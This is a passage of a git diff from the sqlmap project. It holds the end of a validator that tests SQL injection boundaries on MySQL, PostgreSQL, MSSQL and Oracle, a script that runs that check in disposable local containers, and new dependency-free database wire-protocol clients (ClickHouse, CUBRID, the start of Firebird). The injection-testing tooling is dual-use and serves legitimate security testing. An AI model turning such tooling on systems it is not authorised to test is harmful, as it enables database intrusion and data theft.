SQL + clause = [int(x) for x in (g("clause") or "0").split(",") if x.strip().isdigit()] + row = [] + for dbms, run, contexts, _ in engines: + row.append(classify(run, dbms, prefix, suffix, clause, contexts)) + verdicts.append((idx, prefix, row)) + cells = " ".join("%-6s" % mark[v] for v in row) + print("#%02d p%s c%-5s %-30r %s" % (idx, g("ptype"), g("clause"), prefix[:30], cells)) + + for _, _, _, cleanup in engines: + cleanup() + + print("\nlegend: W=works (boolean) T=works (time) I=works (inband output) .=valid but inert x=invalid") + print("contexts modeled: WHERE numeric/single-quote (paren depths 0-3), LIKE, block comment, plus") + print(" per-engine (MySQL: double-quote + backtick table; PG: ANSI-ident + dollar; Oracle: q'..').") + print(" NOT modeled: pre-WHERE DML (clause 9), derived-table AS-alias, table/column identifier,") + print(" fulltext AGAINST - boundaries needing those (and any error/time-only ones) show inert here.") + print("engines: " + ", ".join(names)) + for name, why in skipped: + print("skipped: %-14s (%s)" % (name, why)) + + never = [idx for idx, _, row in verdicts if not ({"WORKS","TIME","INBAND"} & set(row))] + print("\nboundaries usable via NO oracle (boolean/time/inband) on any reachable engine (review): %s" + % (", ".join("#%02d" % i for i in never) or "none")) + print("NOTE: boolean + inline-time oracles over sampled contexts. Still unmodeled: the ERROR oracle,") + print(" inline time on MSSQL/Oracle (statement/privilege-gated sleep), and some host contexts.") + print(" A boundary here may still be usable via one of those, so confirm before acting.") + + +if __name__ == "__main__": + main() diff --git a/extra/boundarycheck/run.sh b/extra/boundarycheck/run.sh new file mode 100644 index 00000000000..745fb22e048 --- /dev/null +++ b/extra/boundarycheck/run.sh @@ -0,0 +1,43 @@ +#!/usr/bin/env bash +# +# Disposable boundary-check lab. Spins up throwaway MySQL + PostgreSQL containers, runs the +# validator against them, and tears everything down again (even on Ctrl-C / failure). +# +# It uses uncommon host ports and points the tool at them via BC_* env vars, so it will NOT collide +# with any DBMS you already have running (including sqlmap's usual bench). These two engines start in +# seconds and exercise the boolean, time and inband oracles plus the MySQL-only (backtick, double- +# quote, fulltext) and PostgreSQL-only (dollar-quote) families. MSSQL and Oracle are slower/heavier - +# see README.md to add them for full coverage; the tool reports absent engines as "skipped". +# +# Usage: ./run.sh (requires docker + python drivers pymysql, psycopg2 - see README.md) +# +set -euo pipefail + +HERE="$(cd "$(dirname "$0")" && pwd)" +MYSQL_PORT=13399 +PG_PORT=15499 + +cleanup() { docker rm -f bcheck-mysql bcheck-pg >/dev/null 2>&1 || true; } +trap cleanup EXIT +cleanup # clear any stale containers from a previous aborted run + +echo "[*] starting throwaway MySQL (:$MYSQL_PORT) and PostgreSQL (:$PG_PORT) ..." +docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p ${MYSQL_PORT}:3306 mysql:8.4 >/dev/null +docker run -d --rm --name bcheck-pg -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p ${PG_PORT}:5432 postgres:16 >/dev/null + +echo "[*] waiting for readiness ..." +# a real query, not just ping: the mysql:8.4 image accepts pings mid-init then restarts once +for _ in $(seq 1 90); do docker exec bcheck-mysql mysql -uroot -proot -e "SELECT 1" >/dev/null 2>&1 && break; sleep 2; done +for _ in $(seq 1 60); do docker exec bcheck-pg pg_isready -U esp >/dev/null 2>&1 && break; sleep 1; done + +echo "[*] running boundarycheck ..." +# only touch the throwaway containers we just created; force MSSQL/Oracle to skip (closed ports) so +# this never connects to - and creates/drops tables on - whatever might be listening on their defaults. +BC_MYSQL="127.0.0.1:${MYSQL_PORT}:root:root" \ +BC_POSTGRES="127.0.0.1:${PG_PORT}:esp:pass:espdb" \ +BC_MSSQL="127.0.0.1:59998:x:x" \ +BC_ORACLE="127.0.0.1:59997:x:x:x" \ +python3 "$HERE/boundarycheck.py" + +echo "[*] done. MSSQL/Oracle were not started here, so their engine-specific boundaries show in the" +echo " review list - add them per README.md for full coverage. Tearing down (trap removes containers)." diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 465f220b8b7..4b0d70d0c41 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -43,8 +43,6 @@ def decloak(inputFile=None, data=None): print(ex) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) sys.exit(1) - finally: - f.close() return data diff --git a/extra/dbwire/README.md b/extra/dbwire/README.md new file mode 100644 index 00000000000..2e06e3415de --- /dev/null +++ b/extra/dbwire/README.md @@ -0,0 +1,77 @@ +# dbwire + +Minimal, dependency-free database wire-protocol clients used as a fallback for sqlmap's direct +(`-d`) connection mode. + +## What this is + +sqlmap's `-d` mode talks to a database server directly instead of through an injection point. It +normally does so via a native driver (`psycopg2`, `pymysql`, `pymssql`, ...) or, if one is missing, +via SQLAlchemy. When neither is installed, `dbwire` provides a small pure-python client so that `-d` +still works out of the box. + +Every module here is written against the database's **wire protocol** using only the Python standard +library (`socket`, `struct`, `hashlib`, `hmac`, `base64`, `urllib`). There are no third-party +dependencies, and the sources run unmodified on Python 2.7 and Python 3. + +## Coverage + +A wire protocol is shared across a whole family of products, so one client serves several engines: + +| Module | Protocol | Engines | +|-----------------|---------------------|---------| +| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica | +| `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona | +| `tds.py` | TDS 7.x | Microsoft SQL Server | +| `sybase.py` | TDS 5.0 | Sybase / SAP ASE | +| `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 | +| `cubrid.py` | CUBRID CAS | CUBRID | +| `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks | +| `monetdb.py` | MAPI | MonetDB | +| `presto.py` | HTTP/REST (JSON) | Presto, Trino | + +The mapping from a DBMS to its module lives in `lib/core/dicts.py` (`DBWIRE_MODULES`). The connector +tier order is: native driver, then SQLAlchemy, then dbwire. + +## Interface + +Each module exposes a small [PEP 249](https://peps.python.org/pep-0249/) (DB-API 2.0) subset: + +- `connect(host, port, user, password, database, connect_timeout, ...)` -> `Connection` +- `Connection.cursor()`, `.commit()`, `.rollback()`, `.close()` +- `Cursor.execute(query)`, `.fetchall()`, `.fetchone()`, `.close()`, `.description`, `.rowcount` +- the shared exception hierarchy in `__init__.py` (`Error` -> `InterfaceError` / `DatabaseError` -> + `OperationalError` / `DataError` / `IntegrityError` / `ProgrammingError` / `InternalError` / + `NotSupportedError`) + +It is deliberately read-oriented for sqlmap's use: `execute()` takes a fully-formed query string +(no parameter binding), statements auto-commit, and binary column values are returned as `bytes` so +that sqlmap renders them as hex. + +## Scope and limitations + +This is a fallback for `-d`, not a general-purpose driver. It intentionally does not implement +parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-protocol notes: + +- **PostgreSQL** - `trust`, cleartext, MD5 and SCRAM-SHA-256 authentication. +- **MySQL** - `mysql_native_password` and the `caching_sha2_password` fast path. Full + `caching_sha2_password` authentication over a plaintext connection requires RSA/TLS and is not + supported; use a `mysql_native_password` account for the dependency-free path. +- **TDS** - cleartext login only. Servers that force encryption (for example Azure SQL Database) + require TLS and are not supported here; the native driver or SQLAlchemy tier covers those. LOGIN7 is the + Microsoft dialect (TDS 7.x) and does not reach Sybase - see the next bullet. +- **TDS 5.0 (Sybase)** - cleartext LOGINREC login. The client declares no optional capabilities, so the + server converts anything exotic (`date`/`time`/`bigdatetime`, wide formats) down to the baseline types + before sending it. Packet size is whatever the login negotiates. Sends and expects UTF-8, so a server + running any character set is decoded correctly. +- **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by + default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented. +- **CUBRID** - cleartext login over the CAS broker protocol. Large objects (BLOB/CLOB) are returned as + their raw locator handles rather than fetched inline. + +When a case is not supported, the client raises a clear `NotSupportedError` rather than returning +wrong data, so `-d` cleanly falls through to another connector tier where possible. + +--- + +Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission. diff --git a/extra/dbwire/__init__.py b/extra/dbwire/__init__.py new file mode 100644 index 00000000000..b064a9e652a --- /dev/null +++ b/extra/dbwire/__init__.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +dbwire - minimal, dependency-free (stdlib-only) database wire-protocol clients used as a fallback for +sqlmap's direct ('-d') connection when no native driver (and no SQLAlchemy) is installed. + +Design note: connectors speak a *wire protocol*, not a product, so a single client covers the whole +compatible family - e.g. the PostgreSQL client also serves CockroachDB, CrateDB, Redshift and Greenplum; +a MySQL client serves MariaDB/TiDB/Aurora. Where a family split the protocol, so does the client: tds.py +speaks Microsoft's TDS 7.x and sybase.py the TDS 5.0 that ASE kept. Each module exposes a small PEP 249 +(DB-API 2.0) subset (connect(), Connection.cursor()/commit()/close(), Cursor.execute()/fetchall()). +""" + +import socket + +__version__ = "0.1" + +apilevel = "2.0" +threadsafety = 1 +paramstyle = "pyformat" + +# PEP 249 exception hierarchy (shared by every wire module) +class Error(Exception): + pass + +class InterfaceError(Error): + pass + +class DatabaseError(Error): + pass + +class OperationalError(DatabaseError): + pass + +class DataError(DatabaseError): + pass + +class IntegrityError(DatabaseError): + pass + +class ProgrammingError(DatabaseError): + pass + +class InternalError(DatabaseError): + pass + +class NotSupportedError(DatabaseError): + pass + +def http_origin(host, port): + """ + 'http://host:port', with a literal IPv6 address bracketed as RFC 3986 requires. Without the brackets + the colons in the address are parsed as the port separator and the URL is simply wrong. + """ + + host = host or "localhost" + if ":" in host and not host.startswith("["): + host = "[%s]" % host + return "http://%s:%d" % (host, int(port)) + + +def connection_lost(ex): + """ + Turn a raw socket/OS failure into the DB-API hierarchy above. + + Callers of a PEP 249 driver only ever catch Error and its subclasses, so a bare socket.error escaping + from a send/recv leaves them with an unhandled traceback instead of a handled connection failure. + """ + + return OperationalError("connection lost (%s)" % ex) + +def handshake_done(sock): + """ + Drop the connect deadline, once the login exchange is over. + + connect_timeout has to stay armed THROUGH the handshake, not just the TCP connect: a peer that + accepts the connection and then says nothing (a wrong port, a silent proxy, a dropping firewall) is + perfectly alive as far as keepalive() below is concerned, so an unbounded login read waits forever. + A query is the opposite case - see keepalive(). + """ + + try: + sock.settimeout(None) + except Exception: + pass + +def keepalive(sock): + """ + Ask the kernel to probe an idle connection, so a peer that dies without a FIN is eventually detected. + + Deliberately NOT a read timeout: a legitimate query can take minutes on a big table, and a fixed + deadline would kill it. Keepalive distinguishes a dead peer from a slow one, which is the actual + failure being guarded against. Best-effort - the options are not portable everywhere. + """ + + try: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) + for name, value in (("TCP_KEEPIDLE", 60), ("TCP_KEEPINTVL", 10), ("TCP_KEEPCNT", 5)): + if hasattr(socket, name): + sock.setsockopt(socket.IPPROTO_TCP, getattr(socket, name), value) + except Exception: + pass + +def recvn(sock, n): + """ + Read exactly n bytes off `sock`, or raise - every wire protocol here is framed, so a short read is a + desynchronized stream, not a smaller message. + + Shared because it was five identical copies: a fix to the recv loop has to land once, not per module. + """ + + buf = b"" + while len(buf) < n: + try: + chunk = sock.recv(n - len(buf)) + except (socket.error, OSError) as ex: + raise connection_lost(ex) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf diff --git a/extra/dbwire/clickhouse.py b/extra/dbwire/clickhouse.py new file mode 100644 index 00000000000..c39dcfed0a6 --- /dev/null +++ b/extra/dbwire/clickhouse.py @@ -0,0 +1,143 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python ClickHouse client over its native HTTP interface (stdlib only, no clickhouse_connect). + +ClickHouse exposes an HTTP endpoint that runs a query in the request body and streams the result back in a +chosen format; we use TabSeparatedWithNames (first line = column names, then tab-separated rows with +backslash escaping and \\N for NULL). Covers ClickHouse and its HTTP-compatible forks. +""" + +import base64 +import socket + +try: + from urllib.request import Request, urlopen # Python 3 + from urllib.error import HTTPError, URLError + from urllib.parse import quote +except ImportError: + from urllib2 import Request, urlopen, HTTPError, URLError # Python 2 + from urllib import quote + +from extra.dbwire import OperationalError +from extra.dbwire import http_origin +from extra.dbwire import ProgrammingError + +# TabSeparated backslash escapes -> the literal byte they denote +_ESCAPE = {ord("t"): 9, ord("n"): 10, ord("r"): 13, ord("0"): 0, ord("b"): 8, + ord("f"): 12, ord("a"): 7, ord("v"): 11, ord("\\"): 92, ord("'"): 39} + +def _unescape(value): + # value: the raw bytes of one TSV field -> None (\N) or the unescaped bytes. Operates on bytes because a + # String/FixedString column can hold arbitrary non-UTF-8 data, which a whole-body utf-8 decode would destroy. + if value == b"\\N": + return None + if b"\\" not in value: + return value + src, out, i, n = bytearray(value), bytearray(), 0, len(value) + while i < n: + c = src[i] + if c == 0x5c and i + 1 < n: # backslash + out.append(_ESCAPE.get(src[i + 1], src[i + 1])); i += 2 + else: + out.append(c); i += 1 + return bytes(out) + +def _decode_cell(value): + # keep text as str; hand back raw bytes only when a value is not valid UTF-8 (sqlmap then hex-encodes it) + if value is None: + return None + try: + return value.decode("utf-8") + except UnicodeDecodeError: + return value + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise ProgrammingError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, host, port, user, password, database, timeout): + # quote the database: a name with a reserved character would otherwise inject into the query string + self._url = "%s/?database=%s&default_format=TabSeparatedWithNames" % (http_origin(host, port), quote(database or "default", safe="")) + self._headers = {} + if user or password: + token = base64.b64encode(("%s:%s" % (user or "", password or "")).encode("utf-8")).decode("ascii") + self._headers["Authorization"] = "Basic %s" % token + self._timeout = timeout + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # ClickHouse statements are executed immediately (no client-side transaction) + + def rollback(self): + pass + + def close(self): + pass # HTTP is stateless + + def _query(self, query): + req = Request(self._url, data=query.encode("utf-8"), headers=self._headers) + try: + body = urlopen(req, timeout=self._timeout).read() # bytes: column data may be non-UTF-8 + except HTTPError as ex: + raise ProgrammingError("(remote) %s" % ex.read().decode("utf-8", "replace").strip()) + except URLError as ex: + raise OperationalError("(remote) %s" % ex) + except (socket.timeout, socket.error) as ex: + raise OperationalError("(remote) %s" % ex) + + if not body: + return None, [] + lines = body.split(b"\n") + if lines and lines[-1] == b"": + lines.pop() + if not lines: + return None, [] + description = [(name, None, None, None, None, None, None) for name in (_decode_cell(_unescape(_)) for _ in lines[0].split(b"\t"))] + rows = [tuple(_decode_cell(_unescape(_)) for _ in line.split(b"\t")) for line in lines[1:]] + return description, rows + +def connect(host=None, port=8123, user=None, password=None, database=None, connect_timeout=None, **kwargs): + connection = Connection(host or "localhost", int(port or 8123), user, password, database, connect_timeout) + try: + connection._query("SELECT 1") # verify connectivity/credentials up front + except ProgrammingError: + raise + except Exception as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + return connection diff --git a/extra/dbwire/cubrid.py b/extra/dbwire/cubrid.py new file mode 100644 index 00000000000..aea26d480a8 --- /dev/null +++ b/extra/dbwire/cubrid.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python CUBRID client speaking the CAS (Common Application Server) broker protocol (stdlib +only, no CUBRID-Python/CCI). Does the 10-byte broker handshake (+ optional CAS-worker redirect), a +cleartext OPEN_DATABASE login, then prepare / execute / fetch with column-metadata decoding. Read-oriented +for sqlmap: execute() takes a fully-formed query string, binary (BIT/VARBIT/BLOB) values come back as bytes +(sqlmap hex-encodes them). Auto-commit is enabled so each statement is independent. +""" + +import datetime +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import DataError +from extra.dbwire import InterfaceError +from extra.dbwire import IntegrityError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import connection_lost +from extra.dbwire import handshake_done +from extra.dbwire import keepalive +from extra.dbwire import recvn +from extra.dbwire import ProgrammingError + +_MAGIC = b"CUBRK" +_CLIENT_JDBC = 3 +_CAS_VERSION = 0x48 # PROTO_INDICATOR(0x40) | VERSION(8) + +# function codes (first raw byte of each request) +_FC_END_TRAN = 1 +_FC_PREPARE = 2 +_FC_EXECUTE = 3 +_FC_SET_DB_PARAMETER = 5 +_FC_CLOSE_REQ_HANDLE = 6 +_FC_FETCH = 8 +_FC_CON_CLOSE = 31 + +_TRAN_COMMIT = 1 +_TRAN_ROLLBACK = 2 +_PARAM_AUTO_COMMIT = 4 + +_OID_SIZE = 8 +_STMT_SELECT = 21 + +# CUBRID CCI_U_TYPE column type codes +_T_CHAR = 1 +_T_STRING = 2 +_T_NCHAR = 3 +_T_VARNCHAR = 4 +_T_BIT = 5 +_T_VARBIT = 6 +_T_NUMERIC = 7 +_T_INT = 8 +_T_SHORT = 9 +_T_MONETARY = 10 +_T_FLOAT = 11 +_T_DOUBLE = 12 +_T_DATE = 13 +_T_TIME = 14 +_T_TIMESTAMP = 15 +_T_OBJECT = 19 +_T_BIGINT = 21 +_T_DATETIME = 22 +_T_BLOB = 23 +_T_CLOB = 24 +_T_ENUM = 25 +_T_JSON = 34 +_STRING_TYPES = frozenset((_T_CHAR, _T_STRING, _T_NCHAR, _T_VARNCHAR, _T_ENUM, _T_JSON)) +_BINARY_TYPES = frozenset((_T_BIT, _T_VARBIT, _T_BLOB, _T_CLOB)) + +_MAX_MESSAGE_LENGTH = 0x40000000 # guard against a hostile/corrupt length + +class _Writer(object): + # builds a request payload (after the 8-byte header): raw function code + length-prefixed args + def __init__(self, fc): + self._buf = bytearray(struct.pack(">B", fc)) + + def raw_int(self, v): + self._buf += struct.pack(">i", v); return self + + def raw_byte(self, v): + self._buf += struct.pack(">B", v); return self + + def arg_int(self, v): + self._buf += struct.pack(">ii", 4, v); return self + + def arg_byte(self, v): + self._buf += struct.pack(">iB", 1, v); return self + + def arg_null(self): + self._buf += struct.pack(">i", 0); return self + + def arg_cache_time(self): + self._buf += struct.pack(">iii", 8, 0, 0); return self + + def arg_nts(self, s): # null-terminated string arg: [len(utf8)+1][utf8][00] + b = s.encode("utf-8") + self._buf += struct.pack(">i", len(b) + 1) + b + b"\x00"; return self + + def payload(self): + return bytes(self._buf) + +class _Reader(object): + def __init__(self, buf): + self._buf = buf + self._off = 0 + + def remaining(self): + return len(self._buf) - self._off + + def byte(self): + v = struct.unpack_from(">B", self._buf, self._off)[0]; self._off += 1; return v + + def short(self): + v = struct.unpack_from(">h", self._buf, self._off)[0]; self._off += 2; return v + + def int(self): + v = struct.unpack_from(">i", self._buf, self._off)[0]; self._off += 4; return v + + def long(self): + v = struct.unpack_from(">q", self._buf, self._off)[0]; self._off += 8; return v + + def float(self): + v = struct.unpack_from(">f", self._buf, self._off)[0]; self._off += 4; return v + + def double(self): + v = struct.unpack_from(">d", self._buf, self._off)[0]; self._off += 8; return v + + def raw(self, n): + # a slice past the end returns short data *silently*, which would hand a truncated value to the + # caller (the fixed-width readers above raise struct.error instead) + if n < 0 or n > self.remaining(): + raise InterfaceError("CAS response too short (wanted %d of %d bytes)" % (n, self.remaining())) + v = self._buf[self._off:self._off + n]; self._off += n; return bytes(v) + + def skip(self, n): + self._off += n + + def nts(self, n): # n bytes, drop one trailing NUL if present + b = self.raw(n) + if b and bytearray(b)[-1:] == bytearray(b"\x00"): + b = b[:-1] + return b + +def _decode_text(raw): + try: + return raw.decode("utf-8") + except UnicodeDecodeError: + return raw # non-UTF-8 -> keep bytes (sqlmap hex-encodes), not lossy + +def _decode_value(reader, col_type, size): + if col_type in _STRING_TYPES: + return _decode_text(reader.nts(size)) + if col_type in (_T_BIT, _T_VARBIT): + return reader.raw(size) + if col_type == _T_NUMERIC: + return _decode_text(reader.nts(size)) # DECIMAL arrives as ASCII text + if col_type == _T_INT: + return str(reader.int()) + if col_type == _T_SHORT: + return str(reader.short()) + if col_type == _T_BIGINT: + return str(reader.long()) + if col_type == _T_FLOAT: + return repr(reader.float()) + if col_type in (_T_DOUBLE, _T_MONETARY): + return repr(reader.double()) + if col_type == _T_DATE: + y, mo, d = reader.short(), reader.short(), reader.short() + return "%s" % datetime.date(y, mo, d) + if col_type == _T_TIME: + h, mi, s = reader.short(), reader.short(), reader.short() + return "%s" % datetime.time(h, mi, s) + if col_type == _T_TIMESTAMP: + vals = [reader.short() for _ in range(6)] + return "%s" % datetime.datetime(*vals) + if col_type == _T_DATETIME: + y, mo, d, h, mi, s, ms = (reader.short() for _ in range(7)) + return "%s" % datetime.datetime(y, mo, d, h, mi, s, ms * 1000) + if col_type == _T_OBJECT: + page, slot, vol = reader.int(), reader.short(), reader.short() + return "OID:@%d|%d|%d" % (page, slot, vol) + return reader.raw(size) # BLOB/CLOB locator or unknown type -> raw bytes + +class _Column(object): + __slots__ = ("name", "type", "scale", "precision") + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows, self.rowcount = self.connection._query(query) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, host, port, user, password, database, timeout): + self._host = host + self._port = port + self._user = user + self._password = password + self._database = database + self._timeout = timeout + self._sock = None + self._cas_info = b"\x00\x00\x00\x00" + self._protocol_version = 8 + self._open() + + def cursor(self): + return Cursor(self) + + def commit(self): + self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_COMMIT)) + + def rollback(self): + self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_ROLLBACK)) + + def close(self): + try: + if self._sock is not None: + self._send(_Writer(_FC_CON_CLOSE).payload()) + except Exception: + pass + self._safe_close() + + # ---- connection / framing ---- + + def _safe_close(self): + try: + if self._sock is not None: + self._sock.close() + except Exception: + pass + self._sock = None + + def _recvn(self, n): + return recvn(self._sock, n) + + def _open(self): + # broker handshake (may redirect to a dedicated CAS worker port), then cleartext OPEN_DATABASE login + try: + sock = socket.create_connection((self._host, self._port), timeout=self._timeout) + keepalive(sock) + sock.sendall(_MAGIC + struct.pack(">BB", _CLIENT_JDBC, _CAS_VERSION) + b"\x00\x00\x00") + self._sock = sock + (port,) = struct.unpack(">i", self._recvn(4)) + if port < 0: + raise OperationalError("CUBRID broker rejected the connection (status %d)" % port) + if port > 0: # redirected to a CAS worker: reconnect there, no second handshake + self._safe_close() + sock = socket.create_connection((self._host, port), timeout=self._timeout) + keepalive(sock) + self._sock = sock + + login = self._fixed(self._database, 32) + self._fixed(self._user, 32) + self._fixed(self._password, 32) + login += b"\x00" * 532 # 512 extended-info + 20 reserved + self._sock.sendall(login) + reader = self._read_response() + reader.int() # response_code (>=0; errors already raised in _read_response) + broker = reader.raw(8) + self._protocol_version = bytearray(broker)[4] & 0x3f + # enable auto-commit so each statement is independent (avoids the CAS keep-connection handshake dance) + self._call(_Writer(_FC_SET_DB_PARAMETER).arg_int(_PARAM_AUTO_COMMIT).arg_int(1)) + except (socket.error, socket.timeout) as ex: + self._safe_close() + raise OperationalError("could not connect to '%s:%s' (%s)" % (self._host, self._port, ex)) + except Exception: # a rejected login (or connection_lost() out of _recvn) is still ours to close + self._safe_close() + raise + + handshake_done(self._sock) + + @staticmethod + def _fixed(value, length): + b = (value or "").encode("utf-8")[:length] + return b + b"\x00" * (length - len(b)) + + def _send(self, payload): + # frame: [payload_len(4)][cas_info(4)][payload] + try: + self._sock.sendall(struct.pack(">i", len(payload)) + self._cas_info + payload) + except (socket.error, OSError) as ex: + raise connection_lost(ex) + + def _read_response(self): + (data_length,) = struct.unpack(">i", self._recvn(4)) + if data_length < 0 or data_length > _MAX_MESSAGE_LENGTH: + raise InterfaceError("invalid CAS response length (%d)" % data_length) + body = self._recvn(data_length + 4) # cas_info(4) + payload(data_length) + self._cas_info = body[:4] + reader = _Reader(body[4:]) + peek = struct.unpack_from(">i", body, 4)[0] + if peek < 0: # error response: response_code(<0), errno, message + reader.int() + errno = reader.int() + message = _decode_text(reader.nts(reader.remaining())) + if not isinstance(message, str): + message = "errno %d" % errno + self._raise(errno, "(remote) %s" % message.strip()) + return reader + + def _call(self, writer): + # reconnect transparently if the CAS worker was released after a previous auto-committed statement + if self._sock is None or bytearray(self._cas_info)[0] == 0: + self._open() + try: + self._send(writer.payload() if isinstance(writer, _Writer) else writer) + return self._read_response() + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + @staticmethod + def _raise(errno, message): + text = message.lower() + if any(k in text for k in ("unique", "duplicate", "foreign key", "constraint violat")): + raise IntegrityError(message) + if any(k in text for k in ("syntax", "unknown class", "does not exist", "not found", "before '")): + raise ProgrammingError(message) # CUBRID points at the offending token as: before ' ,'y')' + if any(k in text for k in ("cast", "coerce", "conversion", "overflow", "truncat")): + raise DataError(message) + raise ProgrammingError(message) + + # ---- query ---- + + def _query(self, query): + reader = self._call(_Writer(_FC_PREPARE).arg_nts(query).arg_byte(0).arg_byte(0)) + handle = reader.int() + try: + return self._execute(handle, reader) + finally: + # release the broker-side request handle even when execute/fetch raised: a connection that + # survives a few failed statements would otherwise hold every one of them until it closes + try: + self._call(_Writer(_FC_CLOSE_REQ_HANDLE).arg_int(handle)) + except Exception: + pass + + def _execute(self, handle, reader): + reader.int() # result cache lifetime + stmt_type = reader.byte() + reader.int() # bind count + reader.byte() # is_updatable + columns = self._parse_columns(reader, reader.int()) + + # args: handle, flag, max_col_size, max_row, binds, fetch_flag, auto_commit, forward_only_cursor, + # cache_time, query_timeout. auto_commit makes the CAS worker commit the statement and end the + # transaction - without it DML is rolled back when the connection drops, whatever _open() asked + # SET_DB_PARAMETER for. It must stay off for a SELECT: ending the transaction there invalidates the + # request handle the paged _fetch_remaining() still reads from. + select = stmt_type == _STMT_SELECT + exec_writer = (_Writer(_FC_EXECUTE).arg_int(handle).arg_byte(0).arg_int(0).arg_int(0) + .arg_null().arg_byte(1 if select else 0) + .arg_byte(0 if select else 1).arg_byte(1).arg_cache_time().arg_int(0)) + reader = self._call(exec_writer) + + total = reader.int() + reader.byte() # cache reusable + result_count = reader.int() + result_infos = [self._parse_result_info(reader) for _ in range(result_count)] + if self._protocol_version > 1: + reader.byte() # includes_column_info + if self._protocol_version > 4: + reader.int() # shard_id + + description, rows, rowcount = None, [], -1 + if stmt_type == _STMT_SELECT and columns: + description = [(c.name, c.type, None, None, c.precision, c.scale, None) for c in columns] + if reader.remaining() >= 8: + reader.int() # fetch code + tuple_count = reader.int() + rows = self._parse_rows(reader, tuple_count, columns) + rows += self._fetch_remaining(handle, columns, len(rows), total) + elif result_infos: + rowcount = result_infos[0] + return description, rows, rowcount + + def _fetch_remaining(self, handle, columns, fetched, total): + rows = [] + while fetched + len(rows) < total: + reader = self._call(_Writer(_FC_FETCH).arg_int(handle) + .arg_int(fetched + len(rows) + 1).arg_int(100).arg_byte(0).arg_int(0)) + reader.int() # response code (>=0) + tuple_count = reader.int() + if tuple_count <= 0: + break + rows += self._parse_rows(reader, tuple_count, columns) + return rows + + def _parse_result_info(self, reader): + reader.byte() # stmt type + count = reader.int() # affected rows + reader.raw(_OID_SIZE) + reader.int(); reader.int() # cache time sec/usec + return count + + def _parse_columns(self, reader, count): + columns = [] + for _ in range(count): + col = _Column() + legacy = reader.byte() + col.type = reader.byte() if legacy & 0x80 else legacy + col.scale = reader.short() + col.precision = reader.int() + col.name = _to_str(reader.nts(reader.int())) + reader.nts(reader.int()) # real name + reader.nts(reader.int()) # table name + reader.byte() # is_nullable + reader.nts(reader.int()) # default value + reader.skip(7) # auto_inc/unique/primary/rev_index/rev_unique/foreign/shared + columns.append(col) + return columns + + def _parse_rows(self, reader, tuple_count, columns): + rows = [] + for _ in range(tuple_count): + reader.int() # row index + reader.skip(_OID_SIZE) + row = [] + for col in columns: + size = reader.int() + if size <= 0: + row.append(None) + else: + row.append(_decode_value(reader, col.type, size)) + rows.append(tuple(row)) + return rows + +def _to_str(b): + v = _decode_text(b) + return v if isinstance(v, str) else v.decode("latin-1") + +def connect(host=None, port=33000, user=None, password=None, database=None, connect_timeout=None, **kwargs): + try: + return Connection(host or "localhost", int(port or 33000), user or "public", + password or "", database or "", connect_timeout) + except (DatabaseError, InterfaceError): + raise + except Exception as ex: + raise OperationalError("CUBRID connection failed (%s)" % ex) diff --git a/extra/dbwire/firebird.py b/extra/dbwire/firebird.py new file mode 100644 index 00000000000..b0db9f6e1d2 --- /dev/null +++ b/extra/dbwire/firebird.py @@ -0,0 +1,870 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python Firebird wire-protocol client (stdlib only, no firebirdsql). + +Speaks the Firebird v13-17 protocol (Firebird 3/4/5): 